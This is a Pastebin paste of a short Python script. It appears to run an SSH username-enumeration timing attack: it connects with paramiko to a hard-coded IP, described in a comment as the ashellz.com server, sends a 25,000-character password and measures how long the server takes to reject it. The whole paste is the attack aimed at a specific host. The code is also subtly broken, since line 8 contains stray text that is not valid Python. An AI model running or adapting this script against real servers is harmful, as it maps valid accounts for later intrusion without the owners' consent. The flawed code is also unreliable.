SHARE
TWEET

Untitled

a guest Sep 24th, 2016 89 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #Including the paramiko library
  2. import paramiko        
  3.  #Including the time library
  4. import time        
  5. #Asking for the required username to be checked
  6. user=raw_input("user: ")
  7. #Supplying the Password as the letter A repeated 25000 times
  8. p='A'*25000     -define password as letter A repeated 25000 times-
  9. ssh = paramiko.SSHClient()
  10. starttime=time.clock()
  11. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  12. try:
  13. #Opening a SSH connection with the ashellz.com server with the user that we will chose with the big #25000 letter password
  14.         ssh.connect('192.185.16.67', username=user,
  15.         password=p)
  16. #Giving the token time to authenticate an user
  17. except:
  18.         endtime=time.clock()
  19. total=endtime-starttime
  20. print(total)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top